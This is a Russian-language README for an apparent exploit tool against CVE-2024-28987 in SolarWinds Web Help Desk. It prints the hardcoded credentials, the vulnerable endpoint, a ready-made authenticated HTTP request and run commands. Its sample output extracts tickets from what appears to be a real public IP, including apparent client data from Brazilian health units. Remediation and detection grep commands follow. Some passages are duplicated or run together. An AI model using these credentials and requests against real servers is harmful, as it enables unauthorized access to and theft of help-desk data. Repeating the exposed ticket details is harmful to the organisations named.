
**CVE-2024-28987** — критическая уязвимость в SolarWinds Web Help Desk (WHD), которая позволяет удалённым злоумышленникам получать доступ к конфиденциальным данным тикетов с использованием **жёстко заданных учётных данных**. Данная уязвимость имеет **оценку CVSS 9.1 (Critical)** и активно эксплуатируется в реальных атаках.
⚠️ ПРЕДУПРЕЖДЕНИЕ: Этот инструмент предназначен только для образовательных целей и авторизованного тестирования безопасности. Несанкционированный доступ к компьютерным системам незаконен. Используйте этот инструмент только на системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение.
CVE-2024-28987 — это критическая уязвимость в SolarWinds Web Help Desk (WHD), которая позволяет удалённым злоумышленникам получать доступ к конфиденциальной информации о заявках с помощью жёстко заданных учётных данных. Эта уязвимость имеет оценку CVSS 9.1 (критическая) и активно эксплуатируется в дикой природе.
| Атрибут | Значение |
|---|---|
| CVE ID | CVE-2024-28987 |
| Оценка CVSS | 9.1 (критическая) |
| CWE | CWE-798 (жёстко заданные учётные данные) |
| Затронутые продукты | SolarWinds Web Help Desk ≤ 12.8.3 Hotfix 1 |
| Исправленная версия | 12.8.3 Hotfix 2 |
| Эксплуатация | Активно эксплуатируется в дикой природе |
| Добавлено в CISA KEV | 15 октября 2024 года |
Неаутентифицированный злоумышленник может:
/OrionTickets# Clone the repository
git clone https://github.com/Darabium/CVE-2024-28987.git
cd CVE-2024-28987
# Make the script executable
Usage
bash
# With target URL as argument
python3 cve-2024-28987.py http://target-ip:port
# Interactive mode (will prompt for target)
python3 cve-2024-28987.py
# Example with a vulnerable target
python3 cve-2024-28987.py http://192.168.1.100:8098
📊 Output Example
bash
$ python3 cve-2024-28987.py http://138.94.193.65:8098
╔══════════════════════════════════════════════════════════════════╗
║ ║
║ ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██╗ ██╗███████╗ ║
║ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗██║ ██║██╔════╝ ║
║ ██║ ██║ ██║█████╗ █████╔╝██║██╔██║███████║█████╗ ║
║ ██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔══██║██╔══╝ ║
║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝██║ ██║███████╗ ║
║ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ ║
║ ║
║ CVE-2024-28987 - SolarWinds Web Help Desk ║
║ Hardcoded Credentials Vulnerability ║
║ ║
╠══════════════════════════════════════════════════════════════════╣
║ GitHub: https://github.com/Darabium ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking http://****:**/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/
[+] Target is VULNERABLE!
[+] Found 42 tickets
======================================================================
[📋] Ticket Preview (First 3 tickets)
======================================================================
Ticket #1
├── ID: 5690
├── Client: UBS Portao Vermelho
├── Status: Open
├── Detail: BOA TARDE ENCAMINHO SOLICITAÇÃO DE MATERIAIS DA ODONTO
Ticket #2
├── ID: 5691
├── Client: UBS Centro
├── Status: In Progress
├── Detail: ALCOOL 70% - Solicitação de material de limpeza
======================================================================
[🔐] Scanning for Sensitive Data
======================================================================
[!] Potential PASSWORD data found in ticket #5723
└── detail: Please reset my password for system access...
[?] Do you want to extract ALL tickets to file? [y/N]: y
[*] Saving to: 138_94_193_65_8098_tickets.json
[✓] Successfully saved 138_94_193_65_8098_tickets.json
[*] File size: 42,847 bytes
[*] Total tickets: 42
[*] Done!
GitHub: https://github.com/Darabium
📁 Структура файлов
CVE-2024-28987/
├── cve-2024-28987.py # Основной скрипт эксплойта
├── README.md # Этот файл
└── LICENSE # Лицензия MIT
Выходные файлы
При извлечении заявок создаются следующие файлы:
138_94_193_65_8098_tickets.json
***_tickets.jsonl
🔍 Технические детали
Жёстко заданные учётные данные
USERNAME = "helpdeskIntegrationUser"
PASSWORD = "dev-C4F8025E7"
Затронутая конечная точка
/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/
Пример HTTP-запроса
GET /helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/ HTTP/1.1
Host: vulnerable-target:8098
Authorization: Basic aGVscGRlc2tJbnRlZ3JhdGlvblVzZXI6ZGV2LUM0ZjgwMjVFNw==
Content-Type: application/x-www-form-urlencoded
🛡️ Устранение
Немедленные действия
Команды обнаружения
# Check for exploitation attempts in logs
grep -i "OrionTickets" /var/log/webhelpdesk/access.log
# Check for unauthorized access patterns
grep -i "helpdeskIntegrationUser" /var/log/webhelpdesk/access.log
# Check current version
cat /opt/WebHelpDesk/version.txt
🚨 Уведомление CISA KEV
Эта уязвимость добавлена в каталог известных эксплуатируемых уязвимостей (KEV) CISA. Организации обязаны установить исправление до указанного срока.
Дата добавления: 15 октября 2024 года
Требуемое действие: Применить обновления согласно инструкциям поставщика
Срок: 5 ноября 2024 года (21 день)
📚 Ссылки
🤝 Вклад в проект
Вклад приветствуется! Не стесняйтесь отправлять pull request'ы или открывать issues.
Руководство
📝 Лицензия
Этот проект распространяется под лицензией MIT — подробности см. в файле LICENSE.
⚡ Автор
Darabium - начальная работа - GitHub
⚠️ Важные замечания
🌟 История звёзд
Если вы считаете этот инструмент полезным, поставьте ему ⭐ на GitHub!
📞 Поддержка
Сделано с ❤️ для Darabium